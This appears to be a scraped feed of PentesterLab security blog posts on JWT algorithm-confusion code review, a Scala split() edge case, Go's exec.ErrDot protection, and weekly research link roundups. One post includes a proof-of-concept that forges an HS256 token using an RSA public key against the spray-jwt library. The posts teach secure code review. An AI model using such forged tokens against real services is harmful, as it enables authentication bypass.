And we can see that the HsSigner used to verify tokens signed with HMAC ensure that the secret is an instance of HsSecret:

abstract class HsSigner extends Signer
[...]

    protected function validateSecret(Secret $secret): bool
    {
        return $secret instanceof HsSecret;
    }

Since developers using RSA will have to use RsSecret when verifying an RSA signature, this prevents algorithm confusion attacks. You just cannot verify a signature using HMAC and RsSecret since RsSecret is not an instance of HsSecret.

The same behaviour can be observed in jose4j (Java):

public class HmacUsingShaAlgorithm extends AlgorithmInfo implements JsonWebSignatureAlgorithm
{
[...]
    public boolean verifySignature(byte[] signatureBytes, Key key, byte[] securedInputBytes, ProviderContext providerContext) throws JoseException
    {
        if (!(key instanceof SecretKey))
        {
            throw new InvalidKeyException(key.getClass() + " cannot be used for HMAC verification.");
        }

        Mac mac = getMacInstance(key, providerContext);
        byte[] calculatedSigature = mac.doFinal(securedInputBytes);

        return ByteUtil.secureEquals(signatureBytes, calculatedSigature);
    }

Autodetection of the algorithm based on the key's type

Another way that could potentially be used is to detect the algorithm based on the type of the key, nov/json-jwt (Ruby) uses something similar when a developer signs (not verifies) a token.

    def autodetected_algorithm_from(private_key_or_secret)
      private_key_or_secret = with_jwk_support private_key_or_secret
      case private_key_or_secret
      when String 
        :HS256
      when OpenSSL::PKey::RSA
        :RS256
      when OpenSSL::PKey::EC
        case private_key_or_secret.group.curve_name
        when 'prime256v1'
          :ES256
        when 'secp384r1'
          :ES384
        when 'secp521r1'
          :ES512
        when 'secp256k1'
          :ES256K
        else
          raise UnknownAlgorithm.new('Unknown EC Curve')
        end
      else
        raise UnexpectedAlgorithm.new('Signature algorithm auto-detection failed')
      end
    end


Based on the type of the value private_key_or_secret, the library knows what algorithm it should use. This code is not used as part of the verification, it is used when a token gets signed using sign!().

This library is not vulnerable to algorithm confusion attacks for another reason... The function valid? calls sign() when HMAC-based algorithms are used as you can see in the code below:

    def sign(signature_base_string, private_key_or_secret)
      private_key_or_secret = with_jwk_support private_key_or_secret
      case
      when hmac?
        secret = private_key_or_secret
        OpenSSL::HMAC.digest digest, secret, signature_base_string

And the call to OpenSSL::HMAC.digest will fail with a TypeError since there is no implicit conversion of OpenSSL::PKey::RSA into String. OpenSSL doesn't know how to convert a public key to a String and throws an exception. Preventing the exploitation.

Before we finish!

When writing this article, I wanted to find a non-Java (because "Java is Lava") examples of blocking via Type and decided to review a few scalas implementations. 
As part of this review, I found a (unmaintained but still listed on jwt.io) library that was vulnerable to Algorithm Confusion Attacks. This is a great example of why reading secure code allows you to find bugs. By reading a few libraries I knew that JWT libraries with types like Java usually force the developers to pick the algorithm and also use public key java.security.PublicKey to enforce the type of the key with RSA.

This is when I came across janjaali/spray-jwt (Scala).

You can find a snippet from the documentation on how to verify a token for one of these libraries below:



import org.janjaali.sprayjwt.Jwt
[...]
val token = "..."
val jsValueOpt = Jwt.decode(token, "super_fancy_secret")


If you have been paying attention to the rest of this article, you immediately know that this doesn't sound great. Developers leveraging the library don't need to specify an algorithm. First red flag (🚩)!

The code used to pick the algorithm can be find below:

  def decodeAsString(token: String, secret: String): Try[String] = {
    val splitToken = token.split("\\.")
    if (splitToken.length != 3) {
      throw new InvalidJwtException("JWT must have form header.payload.signature")
    }

    val header = splitToken(0)
    val payload = splitToken(1)
    val data = s"$header.$payload"

    val signature = splitToken(2)

    val algorithm = getAlgorithmFromHeader(header)

  private def getAlgorithmFromHeader(header: String): HashingAlgorithm = {
    val headerDecoded = Base64Decoder.decodeAsString(header)
    val jwtHeader = headerDecoded.parseJson.convertTo[JwtHeader]
    jwtHeader.algorithm
  }

We can see that the algorithm seems to be based on the header alg. Second red flag (🚩🚩)!

Time to keep digging! We can then see that even the underlying code used to verify a token using RSA relies on a string. Huge third red flag (🚩🚩🚩)!

  override def validate(data: String, signature: String, secret: String): Boolean = {
    val key = getPublicKey(secret)

    val dataByteArray = ByteEncoder.getBytes(data)

    val rsaSignature = Signature.getInstance(cryptoAlgName, provider)
    rsaSignature.initVerify(key)
    rsaSignature.update(dataByteArray)
    rsaSignature.verify(Base64Decoder.decode(signature))
  }

  private def getPublicKey(str: String): PublicKey = {
    val pemParser = new PEMParser(new StringReader(str))
    val keyPair = pemParser.readObject()

    Option(keyPair) match {
      case Some(publicKeyInfo: SubjectPublicKeyInfo) =>
        val converter = new JcaPEMKeyConverter
        converter.getPublicKey(publicKeyInfo)
      case _ => throw new IOException(s"Invalid key for $cryptoAlgName")
    }
  }

We see that the RSA "validation" works with a public key as a String (that is even named "secret" to make things worst).

If developers leverage this library for RSA validation, they are likely to write something like: 


// Load and Base64 encode the RSA public key
val publicKeyStr = loadPublicKeyAsString(publicKeyPath) 
// Use RS256 with Base64 encoded public key
val decodedTry: Try[JsValue] = Jwt.decode(token, publicKeyStr) 




Since no algorithm is enforced, the library is a classic example of an algorithm confusion vulnerability. After getting a simple snippet of code leveraging this library, I was able to confirm that the library was vulnerable to algorithm confusion:

  // Code to generate a JWT token using RS256
  def generateToken(): String = {
    val payload = """{"username":"test"}""" // Hardcoded payload

    val privateKeyStr = """-----BEGIN RSA PRIVATE KEY-----
[...]
-----END RSA PRIVATE KEY-----"""
    val publicKeyStr = """-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----"""


    // Use RS256 with private key
    val tokenTry: Try[String] = Jwt.encode(payload, privateKeyStr, RS256)

    // Use HS256 with public key
    //val tokenTry: Try[String] = Jwt.encode(payload, publicKeyStr, HS256)

    tokenTry match {
      case Success(token) =>
        println(s"Generated JWT token: $token")
        token
      case Failure(exception) =>
        println(s"Failed to generate JWT token: ${exception.getMessage}")
        ""
    }

  }
  // Code to verify a JWT token using RS256
  def verifyToken(token: String): Unit = {
     val publicKeyStr = """-----BEGIN PUBLIC KEY-----
[...]
-----END PUBLIC KEY-----"""

    val decodedTry: Try[JsValue] = Jwt.decode(token, publicKeyStr) 

    decodedTry match {
      case Success(jsValue: JsValue) =>
        println(s"Decoded JWT token: ${jsValue.prettyPrint}")
      case Failure(exception) =>
        println(s"Failed to verify/ decode the JWT token: ${exception.getMessage}")
    }
  }

  def main(args: Array[String]): Unit = {
    // Generate a token using RSA private key
    val token = generateToken()
    println(token)

    // Verify the generated token
    verifyToken(token)

    //HS256, our token signed with the public RSA key as a String 
    val token2 = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6InRlc3QifQ.RmOq9Y9kdLk/GrjATbWDySo7LlwfIam5weJzeZ5CYGM"

    println("TOKEN with HS256")
    verifyToken(token2 )
  }

I reached out to the project a month ago but received no response. The library appears to be end-of-life, and it’s unlikely that many are still using it, especially with RSA. However, it serves as an excellent example of how understanding defensive practices in code reviews can help highlight vulnerable code.

Conclusion

Hopefully, this blog post gave you valuable insights into common techniques for preventing algorithm confusion attacks. As you’ve seen, understanding how developers block attacks not only helps you spot potential vulnerabilities faster but also sharpens your ability to detect subtle anomalies in code that might otherwise go unnoticed.

If you found this post helpful and want to further develop your skills, consider diving deeper into security code review training. Our training equips you with the knowledge and hands-on experience to identify complex vulnerabilities in real-world codebases. Whether you're a developer, security engineer, or pentester, mastering code review can significantly enhance your ability to secure applications and find issues that automated tools often miss.

Thanks for reading, and happy reviewing!

]]> Wed, 20 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/jwt-algorithm-confusion-code-review-lessons https://pentesterlab.com/blog/jwt-algorithm-confusion-code-review-lessons h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

Slow week, thankfully someone sent me a cool last-minute link!

🪲 Authenticated OS Command Injection in LibreNMS

An interesting chain of bugs to gain command execution in LibreNMS. You can read more details about the exploitation of CVE-2024-51092 in the well-written GitHub issue. Thanks S., for sharing!

📚 AppSec eZine #561

AppSec eZine returns with its latest edition. Check out issue #561.

]]> Sun, 17 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week46-2024 https://pentesterlab.com/blog/research-worth-reading-week46-2024 When doing security code review, you sometimes come across infuriating code—code that appears to be vulnerable but isn't, due to unexpected side effects.

I recently came across such an example in the Scala library jasongoodwin/authentikat-jwt/. The library supports the None algorithm by default. At least, that's what it seems from the apply methods:

object JsonWebSignature {
  […]
  def apply(algorithm: String, data: String, key: String): Array[Byte] = {
    algorithm match {
      case "HS256" ⇒ apply(HS256, data, key)
      case "HS384" ⇒ apply(HS384, data, key)
      case "HS512" ⇒ apply(HS512, data, key)
      case "none"  ⇒ apply(NONE, data, key)
      case x       ⇒ throw new UnsupportedOperationException(x + " is an unknown or unimplemented JWT algo key")
    }
  }

  def apply(algorithm: Algorithm, data: String, key: String = null): Array[Byte] = {
    algorithm match {
      case HS256 ⇒ HmacSha("HmacSHA256", data, key)
      case HS384 ⇒ HmacSha("HmacSHA384", data, key)
      case HS512 ⇒ HmacSha("HmacSHA512", data, key)
      case NONE  ⇒ Array.empty[Byte]
      case x     ⇒ throw new UnsupportedOperationException(x + " is an unknown or unimplemented JWT algo key")
    }
  }

The following code is then used to verify if a token is valid:

  def validate(jwt: String, key: String): Boolean = {

    import org.json4s.DefaultFormats
    implicit val formats = DefaultFormats

    jwt.split("\\.") match {
      case Array(providedHeader, providedClaims, providedSignature) ⇒

        val headerJsonString = new String(decodeBase64(providedHeader), "UTF-8")
        val header = JwtHeader.fromJsonStringOpt(headerJsonString).getOrElse(JwtHeader(None, None, None))

        val signature = encodeBase64URLSafeString(
          JsonWebSignature(header.algorithm.getOrElse("none"), providedHeader + "." + providedClaims, key))

        java.security.MessageDigest.isEqual(providedSignature.getBytes(), signature.getBytes())
      case _ ⇒
        false
    }
  }

The code splits the token based on the dot (.), retrieves the algorithm from the header and use it to compute a signature signature. It then compares this signature with providedSignature. If the values match, the token is valid. The comparison uses a time-constant check by leveraging java.security.MessageDigest.isEqual().

At first glance, you might think, "This is definitely vulnerable to None algorithm attacks!" And you'd be right to suspect it. But as with many things in security code review, the devil is in the details.

If we look into it in more details:

    jwt.split("\\.") match {
      case Array(providedHeader, providedClaims, providedSignature) ⇒

Here, the code ensures there are exactly three parts when it splits the string, thanks to the line case Array(providedHeader, providedClaims, providedSignature).

If the split doesn't result in exactly three parts, the code returns false:




      case _ ⇒
        false

Now there is the catch! A call to split(String regex) is the equivalent to calling split(String regex, 0), which has the following behavior according to the documentation:

public String[] split(String regex)
Splits this string around matches of the given regular expression.
This method works as if by invoking the two-argument split method with the given expression and a limit argument of zero. Trailing empty strings are therefore not included in the resulting array.

And the documentation of public String[] split(String regex, int limit) confirms it:



If the limit is zero then the pattern will be applied as many times as possible, the array can have any length, and trailing empty strings will be discarded.

Basically, we need an empty string for the None algorithm but split() will never return an empty string.

It’s one thing to read the documentation, but another to trust it. To verify this behavior, we can quickly use a bit of fuzzing to check if the expected behavior holds:





import java.util.ArrayList;
import java.util.List;

public class DotFuzzer {
    private static final String BASE = "a.b.FUZZ";
    private static final int MAX_LENGTH = 4;

    public static void main(String[] args) {
        fuzz(BASE, 0, "");
    }

    private static void fuzz(String base, int length, String replacement) {
        // Stop recursion if the replacement string exceeds MAX_LENGTH
        if (length > MAX_LENGTH) return;

        // Replace "FUZZ" in the base string with the current replacement
        String testString = base.replace("FUZZ", replacement);

        // Split the result by dots
        String[] parts = testString.split("\\.");

        // Check if it meets the criteria: exactly 3 parts and the last part is empty
        if (parts.length == 3 && parts[2].isEmpty()) {
            System.out.println("Success with replacement: " + replacement);
            return;
        }

        // Loop through all byte values from 0x00 to 0xFF and recursively generate more characters
        for (int i = 0; i <= 0xFF; i++) {
            char currentChar = (char) i;
            fuzz(base, length + 1, replacement + currentChar);
        }
    }
}

And fortunately for the developer, it seems like we cannot have an empty trailing string and three parts.

A common recommendation for JWT parsing is usually to split based on the dot (.) to get exactly three parts using split(..., 3). Applying this recommendation to this codebase will actually make the code vulnerable.

Understanding the intricacies of string handling in JWT validation is essential for effective security code reviews. This example highlights the importance of scrutinizing assumptions about code behavior and emphasizes that even well-intentioned improvements can introduce vulnerabilities.

]]> Wed, 13 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/split-prevent-none-exploitation-jwt https://pentesterlab.com/blog/split-prevent-none-exploitation-jwt h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week has been crazy with a lot of excellent content that should keep you busy for a while! Crypto, Sandboxes, WAF Bypasses...

🔒 Upcoming hardening in PHP

With so many websites running on PHP, it’s good that people are working on making PHP itself a harder target! You can find a list of the upcoming and recent improvements in this post: Upcoming hardening in PHP. From heap hardening to limiting the number of PHP filters, these updates bring a lot of great changes to make PHP more secure.

🔐 Known Attacks on Elliptic Curve Cryptography

All the Elliptic Curve attacks in one place! A well-detailed and comprehensive list of everything you need to know about Elliptic Curve attacks.

🛡️ When WAFs Go Awry: Common Detection & Evasion Techniques for Web Application Firewalls

It starts a bit slow but then it goes to the next level with actual detailed case studies on real bypasses, an excellent article from the MDSec Research team. When WAFs Go Awry. Keep that one handy for your next encounter with a WAF.

🖥️ A New Era of macOS Sandbox Escapes: Diving into an Overlooked Attack Surface and Uncovering 10+ New Vulnerabilities

Everything you didn’t know you wanted to know about macOS sandbox escapes with exploit and demos. A lot of super interesting details: A New Era of macOS Sandbox Escapes

📂 Path traversal via crafted Git repositories

Joernchen strikes again! This time with a directory traversal in the Jujutsu version control system: CVE-2024-51990.

🧩 ssl/shortboost

If you love Unicode, you are going to love this GitHub repository: ssl/shortboost

🤖 From Naptime to Big Sleep: Using Large Language Models To Catch Vulnerabilities In Real-World Code

AI finding bugs? Project Zero details how their Big Sleep agent found an exploitable stack buffer underflow in SQLite.

]]> Sun, 10 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week45-2024 https://pentesterlab.com/blog/research-worth-reading-week45-2024 A notable threat in application security arises when applications execute commands within directories that may be under an attacker's influence. It's important to note that Windows systems are particularly susceptible to this threat, as the current directory is included in the %PATH% environment variable. This means that when executing commands, Windows may unintentionally allow executables from the current directory to run, potentially leading to malicious actions if an attacker has placed harmful files there. In contrast, Unix-based systems typically do not include the current directory in the default executable search path, reducing the risk of executing unintended commands.

A prime example of this vulnerability is the case of git-bug, which was impacted by CVE-2021-28955. To address this, the developers implemented a fix using the execabs library to mitigate the risk of executing commands in insecure environments.

In 2022, with the commit 3ce203db80cd1f320f0c597123b918c3b3bb0449, the Go programming language adopted similar protective measures by default when executing commands. This change is significant as it enhances the security posture of applications built with Go. To illustrate the impact of this change, we can compare the behavior of Go versions 1.18 and 1.19 when running the following code:

package main

import (
  "fmt"
  "os"
  "os/exec"
)

func main() {
  currentPath := os.Getenv("PATH")

  newPath := fmt.Sprintf(".:%s", currentPath)
  os.Setenv("PATH", newPath)

  cmd := exec.Command("foo")

  cmd.Stdout = os.Stdout
  cmd.Stderr = os.Stderr

  if err := cmd.Run(); err != nil {
    fmt.Printf("Command failed with error: %v\n", err)
    if exitError, ok := err.(*exec.ExitError); ok {
      fmt.Printf("Exit code: %d\n", exitError.ExitCode())
      os.Exit(exitError.ExitCode())
    } else {
      os.Exit(1) // Exit with generic failure if error type is unknown
    }
  } else {
    fmt.Println("Command executed successfully.")
    os.Exit(0) // Success exit code
  }
}

With Go 1.18, we get the following:

FOO
Command executed successfully.

With Go 1.19, we get the following:

Command failed with error: exec: "foo": cannot run executable found relative to current directory

Despite this improvement, developers occasionally need to run commands in the current directory, leading to potential bypasses of the new security mechanism. For instance, we can see examples of such bypasses in:

1. Navidrome:

   ffmpegPath, ffmpegErr = exec.LookPath("ffmpeg")
   if errors.Is(ffmpegErr, exec.ErrDot) {
       log.Trace("ffmpeg found in current folder '.'")
       ffmpegPath, ffmpegErr = exec.LookPath("./ffmpeg")
   }

   By replacing "ffmpeg" with "./ffmpeg", the code ignores the protection.

2. Authelia:

   cmd := exec.Command(name, args...)
   if errors.Is(cmd.Err, exec.ErrDot) {
     cmd.Err = nil
   }

   By setting cmd.Err to nil, the code ignores the error.

While these examples demonstrate developers circumventing the protective measures, it's essential to recognize the benefits of the Go team's initiative. The introduction of these protections by default represents a significant improvement in application security.

This development embodies the principle of "MAKE SECURE THE DEFAULT AND INSECURE OBVIOUS." It highlights that while vulnerabilities may still be exploited through workarounds, the standard enforcement of security practices makes it clearer when developers choose to bypass these safeguards.

]]> Thu, 07 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/mitigating-risks-of-command-execution-in-compromised-directories https://pentesterlab.com/blog/mitigating-risks-of-command-execution-in-compromised-directories h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! It’s been a quiet but exciting week for Ruby hackers!

❤️ A new Ruby Gadget

Exciting news for Ruby Hackers with the publication of a New Ruby Gadget.

📚 AppSec eZine #559

AppSec eZine returns with its latest edition. Check out issue #559.

]]> Sun, 03 Nov 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week44-2024 https://pentesterlab.com/blog/research-worth-reading-week44-2024 h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

❤️ SQL Injection Polyglots

A great article from my good friend Luke on SQL Injection Polyglots. A bit of historical content and some new polyglots for MySQL and SQLite3.

🔓 SELinux bypasses

What is SE Linux and how can you bypass it when dealing with Android kernel exploitation, a really detailed writeup: SELinux bypasses.

🛡️ A deep dive into Linux’s new mseal syscall

A new syscall tailored specifically for exploit mitigation? Make sure you read more about mseal in this article from Trail-of-Bits: A deep dive into Linux’s new mseal syscall.

💻 Bench Press: Leaking Text Nodes with CSS

Is it possible to leak the entire content of an HTML text node only using CSS? Learn more by reading the walkthrough (by the challenge's author) for this CTF challenge: Bench Press: Leaking Text Nodes with CSS.

🪲 Private key extraction over ECDH

IANAC (I Am Not A Cryptographer), but I'm a sucker for a good vulnerability write-up, make sure you read this one: Private key extraction over ECDH.

📚 AppSec eZine #558

AppSec eZine returns with the latest edition—check out issue #558.

]]> Sun, 27 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week43-2024 https://pentesterlab.com/blog/research-worth-reading-week43-2024

In the early days of software development, secure coding was indispensable in safeguarding applications against common security threats. Developers had to manually handle tasks like input validation, authentication, and data encryption, making secure coding an essential skill set. However, the landscape has evolved significantly, with modern frameworks and languages now providing built-in security features that automatically address many of these concerns. As a result, the traditional secure coding practices, once critical, are no longer as valuable as they used to be.

The Rise of Secure Frameworks

Modern development frameworks have significantly reduced the burden on developers to manually implement security features. For instance, frameworks like Ruby on Rails, Django, and ASP.NET Core come with built-in protections against SQL injection, cross-site scripting (XSS), and other common vulnerabilities. These frameworks enforce secure defaults and offer libraries that abstract away much of the complexity involved in implementing security measures.

As a result, developers can now focus more on building functionality rather than worrying about every possible security pitfall. This shift has led to a decrease in the prevalence of many types of vulnerabilities that were once common, such as those involving improper input validation or session management. While secure coding is still important, the reality is that many of the issues it was designed to address are now automatically handled by the frameworks developers use.

The Increasing Subtlety of Security Vulnerabilities

With the rise of secure frameworks, the types of vulnerabilities that are now uncovered by security code reviewers have become more subtle and complex. These issues often involve intricate logic flaws, unexpected interactions between components, or edge cases that fall outside the typical scenarios addressed by secure coding practices.

For example, a secure coding course might teach developers how to properly sanitize user inputs to prevent SQL injection. However, a modern code review might uncover a vulnerability in how a custom serialization function interacts with a third-party library, leading to a potential remote code execution flaw—an issue far more subtle and context-dependent than what is typically covered in secure coding training.

As such, the focus in security has shifted from addressing well-known, easily preventable issues to identifying these more nuanced vulnerabilities that arise from the complexity of modern software systems. This is where security code review training becomes invaluable. It teaches security professionals and developers alike to think critically about the code they are reviewing, to understand the context in which it operates, and to identify the subtle issues that automated tools and secure coding practices might miss.

Conclusion

While secure coding remains a foundational skill, its value has diminished as modern frameworks increasingly take care of the common security issues it addresses. The real challenge in today’s security landscape lies in uncovering the more subtle, complex vulnerabilities that these frameworks do not automatically mitigate. Security code review training, therefore, has become more crucial than ever, equipping professionals with the skills to detect and address these advanced threats. In an era where the nature of security vulnerabilities is evolving, the focus must shift from basic secure coding to the more sophisticated analysis provided by security code review.

]]> Thu, 24 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/diminishing-value-secure-coding-training https://pentesterlab.com/blog/diminishing-value-secure-coding-training h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

❤️ Finding Vulnerability Variants at Scale

A great example of how to turn one bug into a swarm of bugs, make sure you read: Finding Vulnerability Variants at Scale.

🪲 Hacking 700 Million Electronic Arts Accounts

A great write-up on hacking APIs: Hacking 700 Million Electronic Arts Accounts.

📚 AppSec eZine #557

AppSec eZine returns with the latest edition—check out issue #557.

]]> Mon, 21 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week42-2024 https://pentesterlab.com/blog/research-worth-reading-week42-2024

In many sports and activities, deliberate practice is the key to improvement. Chess masters break down their training into openings, middle games, and endgames, while swimmers focus on drills to refine their technique, build strength, and increase endurance. These athletes focus on specific aspects of their craft to elevate their performance. Hacking is no different—it requires deliberate practice to sharpen skills and improve efficiency.

But what kind of activities can hackers practice to get better? Let’s explore a few essential ways to hone your hacking skills.

Do Labs!

Labs are a crucial part of improving as a hacker. They not only teach new skills but also help you enhance two key areas:

• Speed: The faster you can test or exploit something, the more time you have to explore deeper, find additional vulnerabilities, or pivot your attack strategy.
• Accuracy: Often, bugs are missed due to small typos or errors. Consistent lab practice improves your ability to avoid these mistakes and, equally important, sharpens your skill at quickly recognizing and debugging them. A big part of hacking involves troubleshooting why a payload isn't working—labs give you the space to refine this process.

Want to get started? You can explore our labs here: PentesterLab exercises.

Play CTFs

Capture The Flag (CTF) competitions are another fantastic way to improve your hacking skills. Good CTF challenges often mirror real-world vulnerabilities, helping you learn new techniques and gain practical experience. Like labs, CTFs are a great way to improve your speed and accuracy. Focus on solving a few challenges deeply rather than bouncing between tasks without completing them. This will build persistence and critical thinking.

CVE Analysis

CVE analysis is an essential practice for anyone looking to improve their vulnerability research. By reviewing Common Vulnerabilities and Exposures (CVEs), you gain insights into how vulnerabilities are discovered, reported, and patched. This kind of analysis can help you develop a more refined understanding of threat modeling and the kinds of mistakes developers make, improving your ability to spot similar issues in the future.

Read Code

One of the best ways to improve as a hacker is to read code—lots of it. Whether you’re hunting for vulnerabilities or simply trying to understand how different applications work, reading code gives you a deeper understanding of the logic and structure behind software. Even if you aren’t actively searching for bugs, this practice will help you uncover vulnerabilities that you wouldn’t otherwise think to look for.

Write Code

Writing code is just as valuable as reading it. When you write software, you begin to understand the types of mistakes developers often make and the shortcuts they take. You’ll also improve your ability to automate tasks, which will help you achieve more in less time. Plus, a well-written script doesn’t make typos, which adds a level of accuracy that’s invaluable in hacking.

Build Test Environments

To get better at breaking things, you need to build them first. Setting up test environments will give you insight into the security implications of different configurations and deployment strategies. By experimenting with your own setups, you’ll learn which shortcuts or mistakes can lead to vulnerabilities—knowledge that will make you a better hacker when assessing real-world systems.

Conclusion

Improving as a hacker, much like excelling in sports, requires consistent and deliberate practice. Whether you're working through labs, playing CTFs, analyzing CVEs, or writing and reading code, the key is to practice with intention. By refining your speed, accuracy, and understanding, you’ll not only improve your skills but also position yourself to uncover deeper, more critical vulnerabilities.

]]> Fri, 18 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/mastering-hacking-skills https://pentesterlab.com/blog/mastering-hacking-skills h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

❤️ Why Code Security Matters - Even in Hardened Environments

I (Louis) was lucky enough to watch this talk at Hexacon, it really opened a whole area for new research in my head, make sure you check it out: Why Code Security Matters - Even in Hardened Environments.

☢️ Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges

I really like this kind of content, providing a lot of tiny details on one subject, this time on HTTP Parameter Pollution: Class Pollution in Ruby: A Deep Dive into Exploiting Recursive Merges.

🪲 Grav

A great write-up (with code review) of a few vulnerabilities in Grav: Grav from the team at Tanto Security.

📚 AppSec eZine #556

AppSec eZine returns with the latest edition—check out issue #556.

]]> Tue, 15 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week41-2024 https://pentesterlab.com/blog/research-worth-reading-week41-2024

In the world of application security and code review, there’s a misconception that the success of a review is measured solely by the bugs you find. If you come away empty-handed, some might see that time as wasted. But the reality is quite the opposite: every code review, even those where no vulnerabilities are uncovered, serves as a valuable learning experience. The time spent reading through secure, well-implemented code builds expertise, accelerates future reviews, and, most importantly, creates a baseline to compare against less secure codebases.

Learning What "Good" Code Looks Like

At its core, security code review isn’t just about finding flaws. It’s about understanding the code and the context in which it operates. Each time you audit code and come away without finding a bug, you’re reinforcing your understanding of what a secure implementation looks like. You learn to recognize patterns of safe coding practices, from proper input sanitization to secure authentication mechanisms and thoughtful error handling.

This process helps you develop a mental map of secure coding practices across various languages and frameworks. Whether it's a robust use of encryption APIs in Java or correctly implemented CSRF protection in Rails, each review adds to your repository of knowledge. Over time, you can recognize subtle deviations from these standards more quickly. You’ll have a clearer idea of what’s “normal” or “good” in any given context, making outliers—and potential vulnerabilities—stand out more prominently.

Playing "Spot the Differences": Building a Baseline for Future Reviews

Every secure codebase you review becomes part of a mental baseline that you can use for future reviews. It’s like playing a continuous game of "spot the differences." Each time you review a solid, secure codebase, you’re building a picture of what secure code should look like. When a new codebase deviates from that picture, those differences will stand out more clearly. Small variations, like a missing validation check or a different method being used in a new way, will catch your attention, signaling potential vulnerabilities.

This baseline is key in making future audits faster and more effective. Code review becomes a process of comparison: the more secure code you’ve reviewed, the quicker you can identify deviations from best practices. A function may seem ordinary at first glance, but your growing experience will allow you to spot these subtle differences. This ability to quickly see where things differ from secure patterns is crucial to identifying risks early.

Accelerating Future Code Reviews

By becoming familiar with patterns of good code, you’re essentially training your mind to work more efficiently. With experience, you no longer need to inspect every single detail as closely because you know what to expect from secure implementations. If you’ve seen how developers consistently follow best practices, you can move through their code faster while still maintaining a high level of scrutiny for areas that feel out of place.

Instead of spending time trying to identify secure code from scratch in every review, you’ll begin to recognize the "right" way to do things immediately. Conversely, when something feels off, even in subtle ways, your attention is drawn to those areas. You’ll be faster not because you’re skipping steps, but because you’ve built an intuition rooted in your growing body of experience.

Reviews Without Bugs Are Never Wasted

The ultimate goal of a code review is to assess the security of an application. In some cases, no bugs are found because the application is secure. This outcome isn’t a failure; it’s a sign that the developers have done their job well, and your review process worked as intended. The absence of bugs is a learning opportunity in itself.

Moreover, it’s essential to remember that code review is not just about ticking off bugs on a list. It’s a continuous process of refining your ability to distinguish between secure and insecure patterns, improving your speed, and developing a deep understanding of different codebases and frameworks. Every review without bugs adds to that skillset, shaping you into a more effective reviewer over time.

Conclusion

The next time you conduct a code review and don’t find a vulnerability, remember that you haven’t wasted your time. Each review contributes to building your understanding of secure coding practices and strengthens your ability to spot weaknesses in the future. With each bug-free code review, you’re setting a foundation for more efficient and accurate work, all while improving the security of the applications you review.

]]> Thu, 10 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/codereview-without-bugs https://pentesterlab.com/blog/codereview-without-bugs h5::after { display:none !important; } .tag-color { background-color: #448AB1; } h7 { font-family: SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", "Courier New", monospace; } .topic-emoji { position: absolute; left:-32px; }

This week, we’re excited to share a list of must-read research! These are some of the most fascinating findings we’ve come across in the past week, so don’t miss out—check them out!

🔒 Exploiting trust: Weaponizing permissive CORS configurations

If you are new to CORS testing, this article will give you a lot of things to check for: Exploiting trust: Weaponizing permissive CORS configurations.

🪲 Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409)

A great post from Project Discovery on the recent ruby-saml bypass and how to leverage nuclei to test for it: Ruby-SAML / GitLab Authentication Bypass (CVE-2024-45409).

📚 HTTP Parameter Pollution in 2024

I really like this kind of content, providing a lot of tiny details on one subject, this time on HTTP Parameter Pollution: HTTP Parameter Pollution in 2024.

🛠️ Differential fuzzing for cryptography

An article on differential fuzzing applied to crypto. A lot is covered, definitely worth a read: https://blog.quarkslab.com/differential-fuzzing-for-cryptography.html.

📚 AppSec eZine #555

AppSec eZine returns with the latest edition—check out issue #555.

]]> Mon, 07 Oct 2024 00:00:00 +0000 https://pentesterlab.com/blog/research-worth-reading-week40-2024 https://pentesterlab.com/blog/research-worth-reading-week40-2024

In a previous blog post titled "Hiring Your First AppSec Engineer", we discussed some key recommendations for hiring your first application security (AppSec) engineer. Since then, a common question that has come up is: how do you assess the technical abilities of an AppSec candidate when you don’t already have an AppSec team?

In this post, we’ll dive into practical methods for evaluating their skillset effectively.

1. Using Previous Bugs for Evaluation

A solid starting point is to leverage past security bugs that have been found through assessments or penetration tests in your own organization. Ask your interviewees to find these bugs in source code and explain how they would fix them. This approach provides a realistic, hands-on test that directly relates to the work they’ll be doing.

However, there are a few things to keep in mind when using this method:

